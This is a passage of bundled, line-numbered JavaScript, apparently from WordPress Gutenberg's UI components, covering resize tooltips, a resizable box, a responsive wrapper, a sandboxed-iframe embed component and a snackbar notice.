0eWxlZCggVGV4dCApYFxuXHQmJiYge1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0fVxuYDtcbiJdfQ== */",
47313 toString: _EMOTION_STRINGIFIED_CSS_ERROR__38
47314 });
47315 var Tooltip4 = /* @__PURE__ */ createStyled("div", false ? {
47316 target: "e1wq7y4k1"
47317 } : {
47318 target: "e1wq7y4k1",
47319 label: "Tooltip"
47320 })("background:", COLORS.theme.foreground, ";border-radius:", config_values_default.radiusSmall, ";box-sizing:border-box;font-family:", font("default.fontFamily"), ";font-size:12px;color:", COLORS.theme.foregroundInverted, ";padding:4px 8px;position:relative;" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErQmlDIiwiZmlsZSI6InJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgZm9udCwgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLmRpdmBcblx0Ym90dG9tOiAwO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRsZWZ0OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRyaWdodDogMDtcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2x0aXBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRvcGFjaXR5OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMjBtcyBsaW5lYXI7XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRmb250LXNpemU6IDEycHg7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IExhYmVsVGV4dCA9IHN0eWxlZCggVGV4dCApYFxuXHQmJiYge1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0fVxuYDtcbiJdfQ== */"));
47321 var LabelText = /* @__PURE__ */ createStyled(component_default8, false ? {
47322 target: "e1wq7y4k0"
47323 } : {
47324 target: "e1wq7y4k0",
47325 label: "LabelText"
47326 })("&&&{color:", COLORS.theme.foregroundInverted, ";display:block;font-size:13px;line-height:1.4;white-space:nowrap;}" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUE2Q3VDIiwiZmlsZSI6InJlc2l6ZS10b29sdGlwLnN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uLy4uLy4uL3RleHQnO1xuaW1wb3J0IHsgZm9udCwgQ09MT1JTLCBDT05GSUcgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBSb290ID0gc3R5bGVkLmRpdmBcblx0Ym90dG9tOiAwO1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRsZWZ0OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRyaWdodDogMDtcblx0dG9wOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFRvb2x0aXBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRvcGFjaXR5OiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMjBtcyBsaW5lYXI7XG5gO1xuXG5leHBvcnQgY29uc3QgVG9vbHRpcCA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRmb250LXNpemU6IDEycHg7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcbmA7XG5cbi8vIFRPRE86IFJlc29sdmUgbmVlZCB0byB1c2UgJiYmIHRvIGluY3JlYXNlIHNwZWNpZmljaXR5XG4vLyBodHRwczovL2dpdGh1Yi5jb20vV29yZFByZXNzL2d1dGVuYmVyZy9pc3N1ZXMvMTg0ODNcblxuZXhwb3J0IGNvbnN0IExhYmVsVGV4dCA9IHN0eWxlZCggVGV4dCApYFxuXHQmJiYge1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZEludmVydGVkIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1zaXplOiAxM3B4O1xuXHRcdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0fVxuYDtcbiJdfQ== */"));
47327
47328 // packages/components/build-module/resizable-box/resize-tooltip/label.mjs
47329 var import_jsx_runtime261 = __toESM(require_jsx_runtime(), 1);
47330 var CORNER_OFFSET = 4;
47331 var CURSOR_OFFSET_TOP = CORNER_OFFSET * 2.5;
47332 function Label3({
47333 label,
47334 position: position2 = POSITIONS.corner,
47335 zIndex = 1e3,
47336 ...props
47337 }, ref) {
47338 const showLabel = !!label;
47339 const isBottom = position2 === POSITIONS.bottom;
47340 const isCorner = position2 === POSITIONS.corner;
47341 if (!showLabel) {
47342 return null;
47343 }
47344 let style2 = {
47345 opacity: showLabel ? 1 : void 0,
47346 zIndex
47347 };
47348 let labelStyle = {};
47349 if (isBottom) {
47350 style2 = {
47351 ...style2,
47352 position: "absolute",
47353 bottom: CURSOR_OFFSET_TOP * -1,
47354 left: "50%",
47355 transform: "translate(-50%, 0)"
47356 };
47357 labelStyle = {
47358 transform: `translate(0, 100%)`
47359 };
47360 }
47361 if (isCorner) {
47362 style2 = {
47363 ...style2,
47364 position: "absolute",
47365 top: CORNER_OFFSET,
47366 right: (0, import_i18n74.isRTL)() ? void 0 : CORNER_OFFSET,
47367 left: (0, import_i18n74.isRTL)() ? CORNER_OFFSET : void 0
47368 };
47369 }
47370 return /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(TooltipWrapper, {
47371 "aria-hidden": "true",
47372 className: "components-resizable-tooltip__tooltip-wrapper",
47373 ref,
47374 style: style2,
47375 ...props,
47376 children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(Tooltip4, {
47377 className: "components-resizable-tooltip__tooltip",
47378 style: labelStyle,
47379 children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(LabelText, {
47380 as: "span",
47381 children: label
47382 })
47383 })
47384 });
47385 }
47386 var ForwardedComponent3 = (0, import_element185.forwardRef)(Label3);
47387 var label_default = ForwardedComponent3;
47388
47389 // packages/components/build-module/resizable-box/resize-tooltip/index.mjs
47390 var import_jsx_runtime262 = __toESM(require_jsx_runtime(), 1);
47391 var noop24 = () => {
47392 };
47393 function ResizeTooltip({
47394 axis,
47395 className: className2,
47396 fadeTimeout = 180,
47397 isVisible: isVisible2 = true,
47398 labelRef,
47399 onResize = noop24,
47400 position: position2 = POSITIONS.bottom,
47401 showPx = true,
47402 zIndex = 1e3,
47403 ...props
47404 }, ref) {
47405 const {
47406 label,
47407 resizeListener
47408 } = useResizeLabel({
47409 axis,
47410 fadeTimeout,
47411 onResize,
47412 showPx,
47413 position: position2
47414 });
47415 if (!isVisible2) {
47416 return null;
47417 }
47418 const classes = clsx_default("components-resize-tooltip", className2);
47419 return /* @__PURE__ */ (0, import_jsx_runtime262.jsxs)(Root4, {
47420 "aria-hidden": "true",
47421 className: classes,
47422 ref,
47423 ...props,
47424 children: [resizeListener, /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(label_default, {
47425 "aria-hidden": props["aria-hidden"],
47426 label,
47427 position: position2,
47428 ref: labelRef,
47429 zIndex
47430 })]
47431 });
47432 }
47433 var ForwardedComponent4 = (0, import_element186.forwardRef)(ResizeTooltip);
47434 var resize_tooltip_default = ForwardedComponent4;
47435
47436 // packages/components/build-module/resizable-box/index.mjs
47437 var import_jsx_runtime263 = __toESM(require_jsx_runtime(), 1);
47438 var HANDLE_CLASS_NAME = "components-resizable-box__handle";
47439 var SIDE_HANDLE_CLASS_NAME = "components-resizable-box__side-handle";
47440 var CORNER_HANDLE_CLASS_NAME = "components-resizable-box__corner-handle";
47441 var HANDLE_CLASSES = {
47442 top: clsx_default(HANDLE_CLASS_NAME, SIDE_HANDLE_CLASS_NAME, "components-resizable-box__handle-top"),
47443 right: clsx_default(HANDLE_CLASS_NAME, SIDE_HANDLE_CLASS_NAME, "components-resizable-box__handle-right"),
47444 bottom: clsx_default(HANDLE_CLASS_NAME, SIDE_HANDLE_CLASS_NAME, "components-resizable-box__handle-bottom"),
47445 left: clsx_default(HANDLE_CLASS_NAME, SIDE_HANDLE_CLASS_NAME, "components-resizable-box__handle-left"),
47446 topLeft: clsx_default(HANDLE_CLASS_NAME, CORNER_HANDLE_CLASS_NAME, "components-resizable-box__handle-top", "components-resizable-box__handle-left"),
47447 topRight: clsx_default(HANDLE_CLASS_NAME, CORNER_HANDLE_CLASS_NAME, "components-resizable-box__handle-top", "components-resizable-box__handle-right"),
47448 bottomRight: clsx_default(HANDLE_CLASS_NAME, CORNER_HANDLE_CLASS_NAME, "components-resizable-box__handle-bottom", "components-resizable-box__handle-right"),
47449 bottomLeft: clsx_default(HANDLE_CLASS_NAME, CORNER_HANDLE_CLASS_NAME, "components-resizable-box__handle-bottom", "components-resizable-box__handle-left")
47450 };
47451 var HANDLE_STYLES_OVERRIDES = {
47452 width: void 0,
47453 height: void 0,
47454 top: void 0,
47455 right: void 0,
47456 bottom: void 0,
47457 left: void 0
47458 };
47459 var HANDLE_STYLES = {
47460 top: HANDLE_STYLES_OVERRIDES,
47461 right: HANDLE_STYLES_OVERRIDES,
47462 bottom: HANDLE_STYLES_OVERRIDES,
47463 left: HANDLE_STYLES_OVERRIDES,
47464 topLeft: HANDLE_STYLES_OVERRIDES,
47465 topRight: HANDLE_STYLES_OVERRIDES,
47466 bottomRight: HANDLE_STYLES_OVERRIDES,
47467 bottomLeft: HANDLE_STYLES_OVERRIDES
47468 };
47469 function UnforwardedResizableBox({
47470 className: className2,
47471 children,
47472 showHandle = true,
47473 __experimentalShowTooltip: showTooltip = false,
47474 __experimentalTooltipProps: tooltipProps = {},
47475 ...props
47476 }, ref) {
47477 return /* @__PURE__ */ (0, import_jsx_runtime263.jsxs)(Resizable, {
47478 className: clsx_default("components-resizable-box__container", showHandle && "has-show-handle", className2),
47479 handleComponent: Object.fromEntries(Object.keys(HANDLE_CLASSES).map((key) => [key, /* @__PURE__ */ (0, import_jsx_runtime263.jsx)("div", {
47480 tabIndex: -1
47481 }, key)])),
47482 handleClasses: HANDLE_CLASSES,
47483 handleStyles: HANDLE_STYLES,
47484 ref,
47485 ...props,
47486 children: [children, showTooltip && /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(resize_tooltip_default, {
47487 ...tooltipProps
47488 })]
47489 });
47490 }
47491 var ResizableBox = (0, import_element187.forwardRef)(UnforwardedResizableBox);
47492 ResizableBox.displayName = "ResizableBox";
47493 var resizable_box_default = ResizableBox;
47494
47495 // packages/components/build-module/responsive-wrapper/index.mjs
47496 var import_element188 = __toESM(require_element(), 1);
47497 var import_jsx_runtime264 = __toESM(require_jsx_runtime(), 1);
47498 function ResponsiveWrapper({
47499 naturalWidth,
47500 naturalHeight,
47501 children,
47502 isInline = false
47503 }) {
47504 if (import_element188.Children.count(children) !== 1) {
47505 return null;
47506 }
47507 const TagName59 = isInline ? "span" : "div";
47508 let aspectRatio2;
47509 if (naturalWidth && naturalHeight) {
47510 aspectRatio2 = `${naturalWidth} / ${naturalHeight}`;
47511 }
47512 return /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(TagName59, {
47513 className: "components-responsive-wrapper",
47514 children: /* @__PURE__ */ (0, import_jsx_runtime264.jsx)("div", {
47515 children: (0, import_element188.cloneElement)(children, {
47516 className: clsx_default("components-responsive-wrapper__content", children.props.className),
47517 style: {
47518 ...children.props.style,
47519 aspectRatio: aspectRatio2
47520 }
47521 })
47522 })
47523 });
47524 }
47525 var responsive_wrapper_default = ResponsiveWrapper;
47526
47527 // packages/components/build-module/sandbox/index.mjs
47528 var import_element189 = __toESM(require_element(), 1);
47529 var import_compose69 = __toESM(require_compose(), 1);
47530 var import_jsx_runtime265 = __toESM(require_jsx_runtime(), 1);
47531 var observeAndResizeJS = function() {
47532 const {
47533 MutationObserver: MutationObserver2
47534 } = window;
47535 if (!MutationObserver2 || !document.body || !window.parent) {
47536 return;
47537 }
47538 function sendResize() {
47539 const clientBoundingRect = document.body.getBoundingClientRect();
47540 window.parent.postMessage({
47541 action: "resize",
47542 width: clientBoundingRect.width,
47543 height: clientBoundingRect.height
47544 }, "*");
47545 }
47546 const observer = new MutationObserver2(sendResize);
47547 observer.observe(document.body, {
47548 attributes: true,
47549 attributeOldValue: false,
47550 characterData: true,
47551 characterDataOldValue: false,
47552 childList: true,
47553 subtree: true
47554 });
47555 window.addEventListener("load", sendResize, true);
47556 function removeViewportStyles(ruleOrNode) {
47557 if (ruleOrNode.style) {
47558 ["width", "height", "minHeight", "maxHeight"].forEach(function(style2) {
47559 if (/^\\d+(vw|vh|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)$/.test(ruleOrNode.style[style2])) {
47560 ruleOrNode.style[style2] = "";
47561 }
47562 });
47563 }
47564 }
47565 Array.prototype.forEach.call(document.querySelectorAll("[style]"), removeViewportStyles);
47566 Array.prototype.forEach.call(document.styleSheets, function(stylesheet) {
47567 Array.prototype.forEach.call(stylesheet.cssRules || stylesheet.rules, removeViewportStyles);
47568 });
47569 document.body.style.position = "absolute";
47570 document.body.style.width = "100%";
47571 document.body.setAttribute("data-resizable-iframe-connected", "");
47572 sendResize();
47573 window.addEventListener("resize", sendResize, true);
47574 };
47575 var style = `
47576 body {
47577 margin: 0;
47578 }
47579 html,
47580 body,
47581 body > div {
47582 width: 100%;
47583 }
47584 html.wp-has-aspect-ratio,
47585 body.wp-has-aspect-ratio,
47586 body.wp-has-aspect-ratio > div,
47587 body.wp-has-aspect-ratio > div iframe {
47588 width: 100%;
47589 height: 100%;
47590 overflow: hidden; /* If it has an aspect ratio, it shouldn't scroll. */
47591 }
47592 body > div > * {
47593 margin-top: 0 !important; /* Has to have !important to override inline styles. */
47594 margin-bottom: 0 !important;
47595 }
47596`;
47597 function buildSandBoxDocument({
47598 html,
47599 title,
47600 type,
47601 styles: styles3,
47602 scripts
47603 }) {
47604 const htmlDoc = /* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("html", {
47605 lang: document.documentElement.lang,
47606 className: type,
47607 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("head", {
47608 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsx)("title", {
47609 children: title
47610 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("style", {
47611 dangerouslySetInnerHTML: {
47612 __html: style
47613 }
47614 }), styles3.map((rules, i3) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("style", {
47615 dangerouslySetInnerHTML: {
47616 __html: rules
47617 }
47618 }, i3))]
47619 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("body", {
47620 "data-resizable-iframe-connected": "data-resizable-iframe-connected",
47621 className: type,
47622 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsx)("div", {
47623 dangerouslySetInnerHTML: {
47624 __html: html
47625 }
47626 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("script", {
47627 type: "text/javascript",
47628 dangerouslySetInnerHTML: {
47629 __html: `(${observeAndResizeJS.toString()})();`
47630 }
47631 }), scripts.map((src) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("script", {
47632 src
47633 }, src))]
47634 })]
47635 });
47636 return "<!DOCTYPE html>" + (0, import_element189.renderToString)(htmlDoc);
47637 }
47638 function IsolatedSandBox({
47639 html = "",
47640 title = "",
47641 type,
47642 styles: styles3 = [],
47643 scripts = [],
47644 onFocus,
47645 tabIndex
47646 }) {
47647 const ref = (0, import_element189.useRef)(null);
47648 const [width, setWidth] = (0, import_element189.useState)(0);
47649 const [height, setHeight] = (0, import_element189.useState)(0);
47650 const srcDoc = (0, import_element189.useMemo)(() => buildSandBoxDocument({
47651 html,
47652 title,
47653 type,
47654 styles: styles3,
47655 scripts
47656 }), [html, title, type, styles3, scripts]);
47657 (0, import_element189.useEffect)(() => {
47658 const iframe = ref.current;
47659 if (!iframe) {
47660 return;
47661 }
47662 function checkMessageForResize(event) {
47663 if (!iframe || iframe.contentWindow !== event.source) {
47664 return;
47665 }
47666 let data = event.data || {};
47667 if ("string" === typeof data) {
47668 try {
47669 data = JSON.parse(data);
47670 } catch {
47671 }
47672 }
47673 if ("resize" !== data.action) {
47674 return;
47675 }
47676 setWidth(data.width);
47677 setHeight(data.height);
47678 }
47679 let currentView = null;
47680 function syncListener() {
47681 const view = iframe?.ownerDocument?.defaultView ?? null;
47682 if (view === currentView) {
47683 return;
47684 }
47685 currentView?.removeEventListener("message", checkMessageForResize);
47686 currentView = view;
47687 currentView?.addEventListener("message", checkMessageForResize);
47688 }
47689 syncListener();
47690 iframe.addEventListener("load", syncListener);
47691 return () => {
47692 iframe.removeEventListener("load", syncListener);
47693 currentView?.removeEventListener("message", checkMessageForResize);
47694 };
47695 }, []);
47696 return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("iframe", {
47697 ref: (0, import_compose69.useMergeRefs)([ref, (0, import_compose69.useFocusableIframe)()]),
47698 title,
47699 tabIndex,
47700 className: "components-sandbox",
47701 sandbox: "allow-scripts allow-presentation",
47702 srcDoc,
47703 onFocus,
47704 width: Math.ceil(width),
47705 height: Math.ceil(height)
47706 });
47707 }
47708 function SameOriginSandBox({
47709 html = "",
47710 title = "",
47711 type,
47712 styles: styles3 = [],
47713 scripts = [],
47714 onFocus,
47715 tabIndex
47716 }) {
47717 const ref = (0, import_element189.useRef)(null);
47718 const [width, setWidth] = (0, import_element189.useState)(0);
47719 const [height, setHeight] = (0, import_element189.useState)(0);
47720 function isFrameAccessible() {
47721 try {
47722 return !!ref.current?.contentDocument?.body;
47723 } catch (e3) {
47724 return false;
47725 }
47726 }
47727 function trySandBox(forceRerender = false) {
47728 if (!isFrameAccessible()) {
47729 return;
47730 }
47731 const {
47732 contentDocument,
47733 ownerDocument
47734 } = ref.current;
47735 if (!forceRerender && null !== contentDocument?.body.getAttribute("data-resizable-iframe-connected")) {
47736 return;
47737 }
47738 const htmlDoc = /* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("html", {
47739 lang: ownerDocument.documentElement.lang,
47740 className: type,
47741 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("head", {
47742 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsx)("title", {
47743 children: title
47744 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("style", {
47745 dangerouslySetInnerHTML: {
47746 __html: style
47747 }
47748 }), styles3.map((rules, i3) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("style", {
47749 dangerouslySetInnerHTML: {
47750 __html: rules
47751 }
47752 }, i3))]
47753 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsxs)("body", {
47754 "data-resizable-iframe-connected": "data-resizable-iframe-connected",
47755 className: type,
47756 children: [/* @__PURE__ */ (0, import_jsx_runtime265.jsx)("div", {
47757 dangerouslySetInnerHTML: {
47758 __html: html
47759 }
47760 }), /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("script", {
47761 type: "text/javascript",
47762 dangerouslySetInnerHTML: {
47763 __html: `(${observeAndResizeJS.toString()})();`
47764 }
47765 }), scripts.map((src) => /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("script", {
47766 src
47767 }, src))]
47768 })]
47769 });
47770 contentDocument.open();
47771 contentDocument.write("<!DOCTYPE html>" + (0, import_element189.renderToString)(htmlDoc));
47772 contentDocument.close();
47773 }
47774 (0, import_element189.useEffect)(() => {
47775 trySandBox();
47776 function tryNoForceSandBox() {
47777 trySandBox(false);
47778 }
47779 function checkMessageForResize(event) {
47780 const iframe2 = ref.current;
47781 if (!iframe2 || iframe2.contentWindow !== event.source) {
47782 return;
47783 }
47784 let data = event.data || {};
47785 if ("string" === typeof data) {
47786 try {
47787 data = JSON.parse(data);
47788 } catch (e3) {
47789 }
47790 }
47791 if ("resize" !== data.action) {
47792 return;
47793 }
47794 setWidth(data.width);
47795 setHeight(data.height);
47796 }
47797 const iframe = ref.current;
47798 const defaultView = iframe?.ownerDocument?.defaultView;
47799 iframe?.addEventListener("load", tryNoForceSandBox, false);
47800 defaultView?.addEventListener("message", checkMessageForResize);
47801 return () => {
47802 iframe?.removeEventListener("load", tryNoForceSandBox, false);
47803 defaultView?.removeEventListener("message", checkMessageForResize);
47804 };
47805 }, []);
47806 (0, import_element189.useEffect)(() => {
47807 trySandBox();
47808 }, [title, styles3, scripts]);
47809 (0, import_element189.useEffect)(() => {
47810 trySandBox(true);
47811 }, [html, type]);
47812 return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)("iframe", {
47813 ref: (0, import_compose69.useMergeRefs)([ref, (0, import_compose69.useFocusableIframe)()]),
47814 title,
47815 tabIndex,
47816 className: "components-sandbox",
47817 sandbox: "allow-scripts allow-same-origin allow-presentation",
47818 onFocus,
47819 width: Math.ceil(width),
47820 height: Math.ceil(height)
47821 });
47822 }
47823 function SandBox({
47824 allowSameOrigin = false,
47825 ...contentProps
47826 }) {
47827 if (allowSameOrigin) {
47828 return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(SameOriginSandBox, {
47829 ...contentProps
47830 });
47831 }
47832 return /* @__PURE__ */ (0, import_jsx_runtime265.jsx)(IsolatedSandBox, {
47833 ...contentProps
47834 });
47835 }
47836 var sandbox_default = SandBox;
47837
47838 // packages/components/build-module/snackbar/index.mjs
47839 var import_a11y10 = __toESM(require_a11y(), 1);
47840 var import_element190 = __toESM(require_element(), 1);
47841 var import_i18n75 = __toESM(require_i18n(), 1);
47842 var import_warning9 = __toESM(require_warning(), 1);
47843 var import_jsx_runtime266 = __toESM(require_jsx_runtime(), 1);
47844 var NOTICE_TIMEOUT = 6e3;
47845 function useSpokenMessage2(message2, politeness) {
47846 const spokenMessage = typeof message2 === "string" ? message2 : (0, import_element190.renderToString)(message2);
47847 (0, import_element190.useEffect)(() => {
47848 if (spokenMessage) {
47849 (0, import_a11y10.speak)(spokenMessage, politeness);
47850 }
47851 }, [spokenMessage, politeness]);
47852 }
47853 function UnforwardedSnackbar({
47854 className: className2,
47855 children,
47856 spokenMessage = children,
47857 politeness = "polite",
47858 actions = [],
47859 onRemove,
47860 icon = null,
47861 explicitDismiss = false,
47862 // onDismiss is a callback executed when the snackbar is dismissed.
47863 // It is distinct from onRemove, which _looks_ like a callback but is
47864 // actually the function to call to remove the snackbar from the UI.
47865 onDismiss,
47866 listRef
47867 }, ref) {
47868 function dismissMe(event) {
47869 if (event && event.preventDefault) {
47870 event.preventDefault();
47871 }
47872 listRef?.current?.focus();
47873 onDismiss?.();
47874 onRemove?.();
47875 }
47876 function onActionClick(event, onClick) {
47877 event.stopPropagation();
47878 onRemove?.();
47879 if (onClick) {
47880 onClick(event);
47881 }
47882 }
47883 useSpokenMessage2(spokenMessage, politeness);
47884 const callbacksRef = (0, import_element190.useRef)({
47885 onDismiss,
47886 onRemove
47887 });
47888 (0, import_element190.useLayoutEffect)(() => {
47889 callbacksRef.current = {
47890 onDismiss,
47891 onRemove
47892 };
47893 });
47894 (0, import_element190.useEffect)(() => {
47895 const timeoutHandle = setTimeout(() => {
47896 if (!explicitDismiss) {
47897 callbacksRef.current.onDismiss?.();
47898 callbacksRef.current.onRemove?.();
47899 }
47900 }, NOTICE_TIMEOUT);
47901 return () => clearTimeout(timeoutHandle);
47902 }, [explicitDismiss]);
47903 const classes = clsx_default(className2, "components-snackbar", {
47904 "components-snackbar-explicit-dismiss": !!explicitDismiss
47905 });
47906 if (actions && actions.length > 1) {
47907 true ? (0, import_warning9.default)("Snackbar can only have one action. Use Notice if your message requires many actions.") : void 0;
47908 actions = [actions[0]];
47909 }
47910 const snackbarContentClassnames = clsx_default("components-snackbar__content", {
47911 "components-snackbar__content-with-icon": !!icon
47912 });
47913 return /* @__PURE__ */ (0, import_jsx_runtime266.jsx)("div", {
47914 ref,
47915 className: classes,
47916 onClick: !explicitDismiss ? dismissMe : void 0,
47917 tabIndex: 0,
47918 role: !explicitDismiss ? "button" : void 0,
47919 onKeyPress: !explicitDismiss ? dismissMe : void 0,
47920 "aria-label": !explicitDismiss ? (0, import_i18n75.__)("Dismiss this notice") : void 0,
47921 "data-testid": "snackbar",
47922 children: /* @__PURE__ */ (0, import_jsx_runtime266.jsxs)("div", {
47923 className: snackbarContentClassnames,
47924 children: [icon && /* @__PURE__ */ (0, import_jsx_runtime266.jsx)("div", {
47925 className: "components-snackbar__icon",
47926 children: icon
47927 }), children, actions.map(({
47928 label,
47929 onClick,
47930 url,
47931 openInNewTab = false
47932 }, index2) => url !== void 0 && openInNewTab ? /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(external_link_default, {
47933 href: url,
47934 onClick: (event) => onActionClick(event, onClick),
47935 className: "components-snackbar__action",
47936 children: label
47937 }, index2) : /* @__PURE__ */ (0, import_jsx_runtime266.jsx)(button_default, {
47938 __next40pxDefaultSize: true,
47939 href: url,
47940 variant: "link",
47941 onClick: (event) => onActionClick(event, onClick),
47942 className: "components-snackbar__action",
47943 children: label
47944 }, index2)), explicitDismiss && /* @__PURE__ */ (0, import_jsx_runtime266.jsx)("span", {
47945 role: "button",
47946 "aria-label": (0, import_i18n75.__)("Dismiss this notice"),
47947 tabIndex: 0,
47948 className: "components-snackbar__dismiss-button",
47949 onClick: dismissMe,
47950 onKeyPress: dismissMe,
47951 children: "\u2715"
47952 })]
47953 })
47954 });
47955 }
47956 var Snackbar = (0, import_element190.forwardRef)(UnforwardedSnackbar);
47957 Snackbar.displayName = "Snackbar";
47958 var snackbar_default = Snackbar;
47959
